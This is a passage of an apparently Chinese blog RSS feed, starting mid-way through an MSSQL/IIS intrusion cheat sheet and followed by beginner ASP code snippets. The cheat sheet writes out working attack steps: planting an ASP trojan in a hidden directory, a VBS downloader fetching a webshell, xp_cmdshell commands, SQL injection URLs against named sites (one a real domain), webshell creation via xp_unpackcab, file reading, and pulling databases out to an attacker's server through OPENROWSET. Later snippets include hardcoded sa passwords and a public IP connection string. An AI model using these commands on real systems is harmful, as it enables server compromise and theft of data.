/>拷贝ASP木马至目录：copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp<br />通过web访问ASP木马：<a href="http://ip/images../news.asp?action=login" target="_blank">http://ip/images../news.asp?action=login</a><br />如何删除非标准目录：rmdir images..\ /s<br /><br />23、去掉tenlnet的ntlm认证：<br />;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'—<br /><br />24、用echo写入文件下载脚本iget.vbs:<br />(1)echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;c:\iget.vbs<br /><br />(2)c:\&gt;cscript iget.vbs <a href="http://127.0.0.1/asp/dbm6.asp" target="_blank">http://127.0.0.1/asp/dbm6.asp</a> dbm6.asp <br /><br /><br />25、手工建立IIS隐藏目录的方法：<br />?   查看本地虚拟目录列表：cscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root <br />?   新建一个kiss目录：mkdir c:\asp\kiss <br />?   建立kiss虚拟目录：cscript.exe c:\inetpub\AdminScripts\mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:\asp\kiss"   <br />?   为kiss目录加执行和写权限：<br />cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s: <br />cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s:<br />?   ?:Cscript c:\inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false<br />?   访问：<a href="http://127.0.0.1/kiss/test.asp" target="_blank">http://127.0.0.1/kiss/test.asp</a><br /><br />26、使用openrowset()连回本地做测试：<br />SELECT a.*<br />FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',<br />'SELECT * FROM [dvbbs].[dbo].[dv_admin]') AS a<br /><br />SELECT * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',<br />'SELECT * FROM [dvbbs].[dbo].[dv_admin]')<br /><br />27、获得主机名：<br /><a href="http://www.xxxx.com/FullStory.asp?id=1" target="_blank">http://www.xxxx.com/FullStory.asp?id=1</a> and 1=convert(int,@@servername)--<br />select convert(int,@@servername)<br />select @@servername<br /><br />28、获得数据库用户名：<br /><a href="http://www.xxxx.com/FullStory.asp?id=1" target="_blank">http://www.XXXX.com/FullStory.asp?id=1</a> and 1=convert(int,system_user)--<br /><a href="http://www.19cn.com/showdetail.asp?id=49" target="_blank">http://www.19cn.com/showdetail.asp?id=49</a> and user&gt;0<br />select user<br /><br />29、普通用户获得WEBSHELL的方法之二：<br />?   打包：<br />EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'<br />解包，可以用于得到webshell：<br />?   EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'<br />?   读任意文件内容，要求有master的dbo权限：<br />EXEC [master].[dbo].[xp_readerrorlog] 1,'c:\cmd.asp' <br /><br />30、sa 权限下已知web路径直接备份数据库到web路径下<br /><br /><a href="http://www.xxxx.com/FullStory.asp?id=1;backuup" target="_blank">http://www.XXXX.com/FullStory.asp?id=1;backuup</a> database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下，再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。<br /><br />?   遍历系统的目录结构，分析结果并发现WEB虚拟目录，先创建一个临时表：temp<br /><a href="http://www.xxxx.com/FullStory.asp?id=1;create" target="_blank">http://www.XXXX.com/FullStory.asp?id=1;create</a> table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--<br />?   　接下来：我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中：<br /><a href="http://www.xxxx.com/FullStory.asp?id=1;insert" target="_blank">http://www.XXXX.com/FullStory.asp?id=1;insert</a> temp exec master.dbo.xp_availablemedia;--<br />?   我们可以通过查询temp的内容来获得驱动器列表及相关信息或者利用xp_subdirs获得子目录列表,并存入temp表中：<br /><a href="http://www.xxxx.com/FullStory.asp?id=1;insert" target="_blank">http://www.XXXX.com/FullStory.asp?id=1;insert</a> into temp(id) exec master.dbo.xp_subdirs 'c:\';--<br />?   我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中：<br /><a href="http://www.xxxx.com/FullStory.asp?id=1;insert" target="_blank">http://www.XXXX.com/FullStory.asp?id=1;insert</a> into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 这样就可以成功的浏览到所有的目录（文件夹）列表<br />?   如果我们需要查看某个文件的内容，可以通过执行xp_cmdsell：;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--<br />?   使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如：bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'   浏览temp就可以看到index.asp文件的内容了！通过分析各种ASP文件，可以得到大量系统信息，WEB建设与管理信息，甚至可以得到SA帐号的连接密码。<br /><br />31、一些sql中的扩展存储的总结:<br />xp_availablemedia 显示系统上可用的盘符'C:\' xp_availablemedia <br />xp_enumgroups 列出当前系统的使用群组及其说明 xp_enumgroups <br />xp_enumdsn 列出系统上已经设置好的ODBC数据源名称 xp_enumdsn <br />xp_dirtree 显示某个目录下的子目录与文件架构 xp_dirtree 'C:\inetpub\wwwroot\' <br />xp_getfiledetails 获取某文件的相关属性 xp_getfiledetails 'C:\inetpub\wwwroot.asp' <br />dbp.xp_makecab 将目标计算机多个档案压缩到某个档案里所压缩的档案都可以接在参数的后面用豆号隔开 dbp.xp_makecab 'C:\lin.cab','evil',1,'C:\inetpub\mdb.asp' <br />xp_unpackcab 解压缩 xp_unpackcab 'C:\hackway.cab','C:\temp',1 <br />xp_ntsec_enumdomains 列出服务器域名 xp_ntsec_enumdomains <br />xp_servicecontrol 停止或者启动某个服务 xp_servicecontrol 'stop','schedule' <br />xp_terminate_process 用pid来停止某个执行中的程序 xp_terminate_process 123 <br />dbo.xp_subdirs 只列某个目录下的子目录 dbo.xp_subdirs 'C:\'<br /><br />32、<br />USE MASTER<br />GO<br />CREATE proc sp_MSforeachObject<br />@objectType int=1,<br />@command1 nvarchar(2000),<br />@replacechar nchar(1) = N'?',<br />@command2 nvarchar(2000) = null,<br />@command3 nvarchar(2000) = null,<br />@whereand nvarchar(2000) = null,<br />@precommand nvarchar(2000) = null,<br />@postcommand nvarchar(2000) = null<br />as<br />/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its <br />own result set */<br />/* @precommand and @postcommand may be used to force a single result set via a temp table. */<br />/* Preprocessor won't replace within quotes so have to use str(). */<br />declare @mscat nvarchar(12)<br />select @mscat = ltrim(str(convert(int, 0x0002)))<br />if (@precommand is not null)<br />exec(@precommand)<br />/* Defined @isobject for save object type */<br />Declare @isobject varchar(256)<br />select @isobject= case @objectType when 1 then 'IsUserTable'<br />when 2 then 'IsView'<br />when 3 then 'IsTrigger'<br />when 4 then 'IsProcedure'<br />when 5 then 'IsDefault'<br />when 6 then 'IsForeignKey'<br />when 7 then 'IsScalarFunction'<br />when 8 then 'IsInlineFunction'<br />when 9 then 'IsPrimaryKey'<br />when 10 then 'IsExtendedProc'<br />when 11 then 'IsReplProc'<br />when 12 then 'IsRule'<br />    end<br />/* Create the select */<br />/* Use @isobject variable isstead of IsUserTable string */<br />EXEC(N'declare hCForEach cursor global for select ''['' + REPLACE(user_name(uid), N'']'', N'']]'') + '']'' + ''.'' + ''['' + <br />REPLACE(object_name(id), N'']'', N'']]'') + '']'' from dbo.sysobjects o '<br />+ N' where OBJECTPROPERTY(o.id, N'''+@isobject+''') = 1 '+N' and o.category &amp; ' + @mscat + N' = 0 '<br />+ @whereand)<br />declare @retval int<br />select @retval = @@error<br />if (@retval = 0)<br />    exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3<br />if (@retval = 0 and @postcommand is not null)<br />    exec(@postcommand)<br />return @retval<br />GO<br /><br /><br />/*<br />1。获得所有的存储过程的脚本：<br />EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=4<br />2。获得所有的视图的脚本：<br />EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=2<br /><br />EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=1<br />EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=2<br />EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=3<br />EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=4<br />*/<br /><br />33、DB_OWNER权限下的数据库备份方法<br />用openrowset吧。反连到自己的数据库机器，~先在本地建个跟目标机器一样结构的表~字段类型使用nvarchar.然后用海洋连接对方的SQL数据库，在查询分析那里执行<br />insert into OPENROWSET ('sqloledb','server=你数据库服务器的IP;uid=user;pwd=pass;database=dbname;','select * from 你建立的表) select * from 对方的表—<br />要是数据量太大的话就看看他数据库里有没有自动编号的字段.select * from 表名 where id&gt;100<br />这样来弄吧<br />要是和WEB同台的话，直接将库BAK到WEB目录下回来就OK啦。。。不过前提库不能太大，超过2G的话SQL就超时了<br />如果是SA权限可以利用下面的两个ASP程序来备份数据库：<br /><br />sqlbackup1.asp<br />&lt;HTML&gt;<br />&lt;HEAD&gt;<br />&lt;TITLE&gt;SQL Server 数据库的备份与恢复&lt;/TITLE&gt;<br />&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312"&gt;<br />&lt;/HEAD&gt;<br />&lt;BODY&gt;<br />&lt;form method="post" name=myform&gt;<br />选择操作：&lt;INPUT TYPE="radio" NAME="act" id="act_backup" value="backup"&gt;&lt;label for=act_backup&gt;备份&lt;/label&gt;　<br />&lt;INPUT TYPE="radio" NAME="act" id="act_restore" value="restore"&gt;&lt;label for=act_restore&gt;恢复&lt;/label&gt;<br />&lt;br&gt;数据库名：&lt;INPUT TYPE="text" NAME="databasename" value="&lt;%=request("databasename")%&gt;"&gt;<br />&lt;br&gt;文件路径：&lt;INPUT TYPE="text" NAME="bak_file" value="c:\1.exe"&gt;(备份或恢复的文件路径,备份成EXE主要为了方便下载,活活..)&lt;br&gt;<br />&lt;input type="submit" value="确定"&gt;<br />&lt;/form&gt;<br />&lt;%<br />dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act<br />sqlserver = "localhost" 'sql服务器<br />sqlname = "sa" '用户名<br />sqlpassword = "数据库密码" '密码<br />sqlLoginTimeout = 15 '登陆超时<br />databasename = trim(request("databasename"))<br />bak_file = trim(request("bak_file"))<br />bak_file = replace(bak_file,"$1",databasename)<br />act = lcase(request("act"))<br />if databasename = "" then<br />response.write "input database name"<br />else<br />if act = "backup" then<br />Set srv=Server.CreateObject("SQLDMO.SQLServer")<br />srv.LoginTimeout = sqlLoginTimeout<br />srv.Connect sqlserver,sqlname, sqlpassword<br />Set bak = Server.CreateObject("SQLDMO.Backup")<br />bak.Database=databasename<br />bak.Devices=Files<br />bak.Files=bak_file<br />bak.SQLBackup srv<br />if err.number&gt;0 then<br />response.write err.number&amp;"&lt;font color=red&gt;&lt;br&gt;"<br />response.write err.description&amp;"&lt;/font&gt;"<br />end if<br />Response.write "&lt;font color=green&gt;备份成功!&lt;/font&gt;"<br />elseif act = "restore" then<br />'恢复时要在没有使用数据库时进行！<br />Set srv=Server.CreateObject("SQLDMO.SQLServer")<br />srv.LoginTimeout = sqlLoginTimeout<br />srv.Connect sqlserver,sqlname, sqlpassword<br />Set rest=Server.CreateObject("SQLDMO.Restore")<br />rest.Action=0 ' full db restore<br />rest.Database=databasename<br />rest.Devices=Files<br />rest.Files=bak_file<br />rest.ReplaceDatabase=True 'Force restore over existing database<br />if err.number&gt;0 then<br />response.write err.number&amp;"&lt;font color=red&gt;&lt;br&gt;"<br />response.write err.description&amp;"&lt;/font&gt;"<br />end if<br />rest.SQLRestore srv<br /><br />Response.write "&lt;font color=green&gt;恢复成功!&lt;/font&gt;"<br />else<br />Response.write "&lt;font color=red&gt;没有选择操作&lt;/font&gt;"<br />end if<br />end if<br />%&gt;<br />&lt;/BODY&gt;<br />&lt;/HTML&gt;<br /><br />sqlbackup2.asp<br />&lt;%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%&gt;<br />&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" target="_blank">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>"&gt;<br />&lt;html xmlns="<a href="http://www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>"&gt;<br />&lt;head&gt;<br />&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312" /&gt;<br />&lt;title&gt;采飞扬ASP备份MSSQL数据库程序 V1.0--QQ:79998575&lt;/title&gt;<br />&lt;/head&gt;<br />&lt;style&gt;<br />BODY {   FONT-SIZE: 9pt;   COLOR: #000000;   FONT-FAMILY: "Courier New";   scrollbar-face-color:#E4E4F3;   scrollbar-highlight-color:#FFFFFF;   scrollbar-3dlight-color:#E4E4F3;   scrollbar-darkshadow-color:#9C9CD3;   scrollbar-shadow-color:#E4E4F3;   scrollbar-arrow-color:#4444B3;   scrollbar-track-color:#EFEFEF;}TABLE {   FONT-SIZE: 9pt;   FONT-FAMILY: "Courier New";   BORDER-COLLAPSE: collapse;   border-top-width: 1px;   border-right-width: 1px;   border-bottom-width: 1px;   border-left-width: 1px;   border-top-style: solid;   border-right-style: none;   border-bottom-style: none;   border-left-style: solid;   border-top-color: #d8d8f0;   border-right-color: #d8d8f0;   border-bottom-color: #d8d8f0;   border-left-color: #d8d8f0;}.tr {   font-family: "Courier New";   font-size: 9pt;   background-color: #e4e4f3;   text-align: center;}.td {   font-family: "Courier New";   font-size: 9pt;   background-color: #f9f9fd;}.warningColor {   font-family: "Courier New";   font-size: 9pt;   color: #ff0000;}input {<br />font-family: "Courier New";<br />BORDER-TOP-WIDTH: 1px;<br />BORDER-LEFT-WIDTH: 1px;<br />FONT-SIZE: 12px;<br />BORDER-BOTTOM-WIDTH: 1px;<br />BORDER-RIGHT-WIDTH: 1px;<br />color: #000000;<br />}textarea {   font-family: "Courier New";   BORDER-TOP-WIDTH: 1px;   BORDER-LEFT-WIDTH: 1px;   FONT-SIZE: 12px;   BORDER-BOTTOM-WIDTH: 1px;   BORDER-RIGHT-WIDTH: 1px;   color: #000000;}.liuyes {<br />background-color: #CCCCFF;<br />}<br />A:link {   FONT-SIZE: 9pt;   COLOR: #000000;   FONT-FAMILY: "Courier New";   TEXT-DECORATION: none;}tr {   font-family: "Courier New";   font-size: 9pt;   line-height: 18px;}td {   font-family: "Courier New";   font-size: 9pt;   border-top-width: 1px;   border-right-width: 1px;   border-bottom-width: 1px;   border-left-width: 1px;   border-top-style: none;   border-right-style: solid;   border-bottom-style: solid;   border-left-style: none;   border-top-color: #d8d8f0;   border-right-color: #d8d8f0;   border-bottom-color: #d8d8f0;   border-left-color: #d8d8f0;}.trHead {   font-family: "Courier New";   font-size: 9pt;   background-color: #e4e4f3;   line-height: 3px;}.inputLogin {   font-family: "Courier New";   font-size: 9pt;   border: 1px solid #d8d8f0;   background-color: #f9f9fd;   vertical-align: bottom;}&lt;/style&gt;<br />&lt;body&gt;<br />&lt;form method="post" name="myform" action="?action=backupdatabase"&gt;<br />&lt;table width="686" border="1" align="center"&gt;<br />&lt;tr&gt;<br />&lt;td width="613" height="30" align="center" bgcolor="#330066"&gt;&lt;font color="#FFFFFF"&gt;采飞扬ASP备份MSSQL数据库程序 V1.0 &lt;/font&gt;&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;tr&gt;<br />&lt;td&gt;选择操作：<br />  &lt;input type="radio" name="act" id="act_backup"value="backup" /&gt;<br />  &lt;label for=act_backup&gt;备份&lt;/label&gt;<br />  &lt;input type="radio" name="act" id="act_restore" value="restore" /&gt;<br />  &lt;label for=act_restore&gt;恢复&lt;/label&gt;&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;tr&gt;<br />&lt;td&gt;&lt;label&gt;SQL服务器:<br />  &lt;input type="text" name="sqlserver" value="localhost" /&gt;<br />&lt;/label&gt;&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;tr&gt;<br />&lt;td&gt;&lt;label&gt;用户名:<br />  &lt;input name="sqlname" type="text" value="sa" /&gt;<br />密 码:<br />&lt;input type="text" name="sqlpassword" /&gt;<br />&lt;/label&gt;&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;tr&gt;<br />&lt;td&gt;&lt;label&gt;数据库名：<br />  &lt;input type="text" name="databasename" value="&lt;%=request("databasename")%&gt;" /&gt;<br />&lt;/label&gt;&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;tr&gt;<br />&lt;td&gt;文件路径：<br />  &lt;input name="bak_file" type="text" value="&lt;% =server.MapPath("\")&amp;"\"&amp;"liuyes.bak"%&gt;" size="60" /&gt;<br />(备份或恢复的文件路径)&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;tr&gt;<br />&lt;td&gt;&lt;% Response.write "本文件绝对路径:" %&gt;<br />  &lt;font color="#FF0000"&gt;<br />  &lt;% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %&gt;<br />  &lt;/font&gt;&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;tr&gt;<br />&lt;td&gt;&lt;input name=submit1 type="submit" class="liuyes" id=submit1 size="10" value="确 定" /&gt;<br />    &lt;input name="Submit" type="reset" class="liuyes" size="10" value="重 置" /&gt;&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;/table&gt;<br />&lt;/form&gt; <br />&lt;table width="686" border="1" align="center"&gt;<br />&lt;tr&gt;<br />&lt;td&gt;提示信息:&lt;% <br />if request("action")="" then   <br />response.write "&lt;font color=#ff0000&gt;不用我多说什么了吧！&lt;/font&gt;"<br />end if<br />'SQL Server 数据库的备份与恢复! <br />if request("action")="backupdatabase" Then <br />dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act <br />sqlserver = trim(request("sqlserver"))<br />sqlname = trim(request("sqlname"))<br />sqlpassword =trim(request("sqlpassword"))<br />sqlLoginTimeout = 15<br />databasename = trim(request("databasename")) <br />bak_file = trim(request("bak_file")) <br />bak_file = replace(bak_file,"$1",databasename)<br />act = lcase(request("act"))<br />if databasename = "" then<br />response.write "&lt;font color=#ff0000&gt;没有输入数据库名称!&lt;/font&gt;"<br />else<br />if act = "backup" then<br />Set srv=Server.CreateObject("SQLDMO.SQLServer")<br />srv.LoginTimeout = sqlLoginTimeout<br />srv.Connect sqlserver,sqlname, sqlpassword<br />Set bak = Server.CreateObject("SQLDMO.Backup")<br />bak.Database=databasename<br />bak.Devices=Files <br />bak.Action   = 0<br />bak.Initialize   = 1<br />'bak.Replace   = True<br />bak.Files=bak_file <br />bak.SQLBackup srv<br />if err.number&gt;0 then <br />response.write err.number&amp;"&lt;font color=red&gt;&lt;br&gt;" <br />response.write err.description&amp;"&lt;/font&gt;" <br />end if<br />Response.write "&lt;font color=green&gt;备份成功!&lt;/font&gt;" <br />elseif act="restore" then<br />'恢复时要在没有使用数据库时进行！ <br />Set srv=Server.CreateObject("SQLDMO.SQLServer")<br />srv.LoginTimeout = sqlLoginTimeout<br />srv.Connect sqlserver,sqlname, sqlpassword<br />Set rest=Server.CreateObject("SQLDMO.Restore")<br />rest.Action=0 ' full db restore <br />rest.Database=databasename <br />rest.Devices=Files <br />rest.Files=bak_file <br />rest.ReplaceDatabase=True 'Force restore over existing database <br />if err.number&gt;0 then<br />response.write err.number&amp;"&lt;font color=red&gt;&lt;br&gt;"<br />response.write err.description&amp;"&lt;/font&gt;"<br />end if<br />rest.SQLRestore srv<br />Response.write "&lt;font color=green&gt;恢复成功!&lt;/font&gt;"<br />else <br />Response.write "&lt;font color=red&gt;请选择备份或恢复!&lt;/font&gt;"<br />end if <br />end if <br />end if<br />%&gt;&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;/table&gt; <br />&lt;/body&gt;<br />&lt;/html&gt;<br /></div>
<img src ="http://www.blogjava.net/jlin/aggbug/103035.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jlin/" target="_blank">fly</a> 2007-03-10 20:44 <a href="http://www.blogjava.net/jlin/articles/103035.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一个比较好的连接数据库例子</title><link>http://www.blogjava.net/jlin/articles/63137.html</link><dc:creator>fly</dc:creator><author>fly</author><pubDate>Sat, 12 Aug 2006 02:47:00 GMT</pubDate><guid>http://www.blogjava.net/jlin/articles/63137.html</guid><wfw:comment>http://www.blogjava.net/jlin/comments/63137.html</wfw:comment><comments>http://www.blogjava.net/jlin/articles/63137.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jlin/comments/commentRss/63137.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jlin/services/trackbacks/63137.html</trackback:ping><description><![CDATA[
		<p>&lt;%<br />Option Explicit<br />Server.ScriptTimeOut=90    '脚本超时时间(单位:秒)<br />Response.Expires=-1</p>
		<p>'以下部分勿动<br />Dim SQL,Rs,Conn</p>
		<p>Sub DataConn()'本地数据库<br />   On Error Resume Next<br /> Dim strConn<br />    Set Conn = Server.Createobject("Adodb.Connection")<br /> strConn = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=127.0.0.1;User ID=sa;Password=sa ;Database=test;"<br /> <br />    Conn.Open strConn <br />        If Err Then<br />  err.Clear<br />  Set Conn = Nothing<br />  Response.Write "数据库连接出错，请检查连接字串。"<br />  Response.End<br /> End If<br />End Sub<br /></p>
		<p>'以下代码是用来关闭数据库连接的<br />Sub DataClose()<br /> If IsObject(Conn) Then<br />  Conn.Close<br />  Set Conn=Nothing<br /> End If<br />End Sub<br />%&gt;<br />把以上代码做成一个const.asp文件,以后哪个文件要用到的时候用<br />&lt;!--#include file="const.asp"--&gt;包含进来即可<br />然后调用,DataConn(),即可打开数据库了<br />后用DataClose()关闭数据库<br /></p>
<img src ="http://www.blogjava.net/jlin/aggbug/63137.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jlin/" target="_blank">fly</a> 2006-08-12 10:47 <a href="http://www.blogjava.net/jlin/articles/63137.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>整理了一些ASP初学者常用的代码</title><link>http://www.blogjava.net/jlin/articles/62906.html</link><dc:creator>fly</dc:creator><author>fly</author><pubDate>Fri, 11 Aug 2006 00:47:00 GMT</pubDate><guid>http://www.blogjava.net/jlin/articles/62906.html</guid><wfw:comment>http://www.blogjava.net/jlin/comments/62906.html</wfw:comment><comments>http://www.blogjava.net/jlin/articles/62906.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jlin/comments/commentRss/62906.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jlin/services/trackbacks/62906.html</trackback:ping><description><![CDATA[.获得系统时间:<br />&lt;%=now()%&gt;<br />2.取得来访用的IP:<br />&lt;%=request.serverVariables("remote_host")%&gt;<br />3.获得系统,浏览器版本:<br />&lt;script&gt;<br />window.document.write("版本："+navigator.appName+navigator.appVersion+" browser.")<br />&lt;/script&gt;<br />4.去除IE混动条:<br />&lt;body scroll="no"&gt; <br />&lt;body style="overflow-y:hidden"&gt;<br />5.进入网站,跳出广告:<br />&lt;script language="javascript"&gt;<br />&lt;!-- <br />&lt;!-- 注意更改文件所在路径--&gt;<br />window.open(''<a href="http://www.xxxxxx.com&amp;/#39;'" target="_blank">http://www.XXXXXX.com&amp;#39;'</a>,'''',''height=200,width=300,top=0,left=30'');<br />// --&gt;<br />&lt;/script&gt;<br />6.随机数:<br />&lt;%randomize%&gt;<br />&lt;%=(int(rnd()*n)+1)%&gt;<br />N为可改变数<br />7.向上混动代码:<br />&lt;marquee direction="up" scrolldelay="200" style="font-size: 9pt; color: #FF0000; line-height: 150%; font-style:italic; font-weight:bold" scrollamount="2" width="206" height="207" bgcolor="#FFFF00"&gt;hhhhhhhhhhhhhhhhhhh&lt;/marquee&gt;<br />8.自动关闭网页:<br />&lt;script LANGUAGE="javascript"&gt;<br />&lt;!--<br />setTimeout(''window.close();'', 10000); //60秒后关闭<br />// --&gt;<br />&lt;/script&gt;<br />&lt;p align="center"&gt;本页10秒后自动关闭,请注意刷新页面&lt;/p&gt;<br />9.随机背景音乐:<br />&lt;%randomize%&gt;<br />&lt;bgsound src="mids/&lt;%=(int(rnd()*60)+1)%&gt;.mid" loop="-1"&gt;　<br /><br />可以修改数字，限制调用个数，我这里是６０个．<br />10.自动刷新本页面:<br />&lt;script&gt; <br />&lt;!-- 　<br /><br />var limit="0:10" 　<br /><br />if (document.images){ <br />var parselimit=limit.split(":") <br />parselimit=parselimit *60+parselimit *1 <br />} <br />function beginrefresh(){ <br />if (!document.images) <br />return <br />if (parselimit==1) <br />window.location.reload() <br />else{ <br />parselimit-=1 <br />curmin=Math.floor(parselimit/60) <br />cursec=parselimit%60 <br />if (curmin!=0) <br />curtime=curmin+"分"+cursec+"秒后重刷本页！" <br />else <br />curtime=cursec+"秒后重刷本页！" <br />window.status=curtime <br />setTimeout("beginrefresh()",1000) <br />} <br />} 　<br /><br />window.onload=beginrefresh <br />file://--&gt; <br />&lt;/script&gt;<br />11.ACCESS数据库连接:<br />&lt;%<br />option explicit<br />dim startime,endtime,conn,connstr,db<br />startime=timer()<br />'更改数据库名字<br />db="data/dvBBS5.mdb"<br />Set conn = Server.CreateObject("ADODB.Connection")<br />connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &amp; Server.MapPath(db)<br />'如果你的服务器采用较老版本Access驱动，请用下面连接方法<br />'connstr="driver={Microsoft Access Driver (*.mdb)};dbq=" &amp; Server.MapPath(db)<br />conn.Open connstr<br />function CloseDatabase<br />Conn.close<br />Set conn = Nothing<br />End Function<br />%&gt;<br />12.SQL数据库连接:<br />&lt;%<br />option explicit<br />dim startime,endtime,conn,connstr,db<br />startime=timer()<br />connstr="driver={SQL Server};server=HUDENQ-N11T33NB;uid=sa;pwd=xsfeihu;database=dvbbs" <br />Set conn = Server.CreateObject("ADODB.Connection")<br />conn.Open connstr<br />function CloseDatabase<br />Conn.close<br />Set conn = Nothing<br />End Function<br />%&gt;<br /><br /><br />&lt;%<br />Response.Buffer = True<br />On Error Resume Next<br />Set conn = Server.CreateObject("ADODB.Connection")<br />strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=218.84.205.199;User ID=GD;Password=ABCD;Database=gddb;"<br />conn.Open strCon<br />If Err Then<br />err.Clear<br />Set Conn = Nothing<br />Response.Write "数据库连接出错，请检查连接字串。"<br />Response.End<br />End If<br />function CloseDatabase<br />Conn.close<br />Set conn = Nothing<br />End Function<br />%&gt; <br /><br /><br />13.用键盘打开网页代码:<br />&lt;script language="javascript"&gt;<br />function ctlent(eventobject)<br />{<br />if((event.ctrlKey &amp;&amp; window.event.keyCode==13)||(event.altKey &amp;&amp; window.event.keyCode==83))<br />{<br />window.open('网址','','')<br />}<br />}<br />&lt;/script&gt;　<br /><br />这里是Ctrl+Enter和Alt+S的代码 自己查下键盘的ASCII码再换就行<br />14.让层不被控件复盖代码:<br />&lt;div z-Index:2&gt;&lt;object ***&gt;&lt;/object&gt;&lt;/div&gt; ＃ 前面 <br />&lt;div z-Index:1&gt;&lt;object ***&gt;&lt;/object&gt;&lt;/div&gt; ＃ 后面 <br />&lt;div id="Layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"&gt;&lt;table height=100% width=100% bgcolor="#ff0000"&gt;&lt;tr&gt;&lt;td height=100% width=100%&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;iframe width=0 height=0&gt;&lt;/iframe&gt;&lt;/div&gt;<br />&lt;div id="Layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1"&gt;&lt;iframe height=100% width=100%&gt;&lt;/iframe&gt;&lt;/div&gt;<br />15.动网FLASH广告代码:<br />&lt;object classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" codebase="<a href="http://download.macromedia.com/pub/sho...h/swflash.cab#version=5" target="_blank">http://download.macromedia.com/pub/sho...h/swflash.cab#version=5</a> ,0,0,0" width="468" height="60"&gt;&lt;param name=movie value="images/yj16d.swf"&gt;&lt;param name=quality value=high&gt;&lt;embed src="images/dvbanner.swf" quality=high pluginspage="<a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash&quot;;;;type=&quot;applica...uot;height=&quot;60&quot;&gt;&lt;/embed&gt;&lt;/object&gt;" target="_blank">http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"; ... uot;60"&gt;&lt;/embed&gt;&lt;/object&gt;</a> <br />16.VBS弹出窗口小代码:<br />&lt;script language=vbscript&gt;<br />msgbox"你还没有注册或登陆论坛","0","精品论坛"<br />location.href = "login.asp"<br />&lt;/script&gt;<br />16.使用FSO修改文件特定内容的函数<br />function FSOchange(filename,Target,String)<br />Dim objFSO,objCountFile,FiletempData<br />Set objFSO = Server.CreateObject("Scripting.FileSystemObject")<br />Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True)<br />FiletempData = objCountFile.ReadAll<br />objCountFile.Close<br 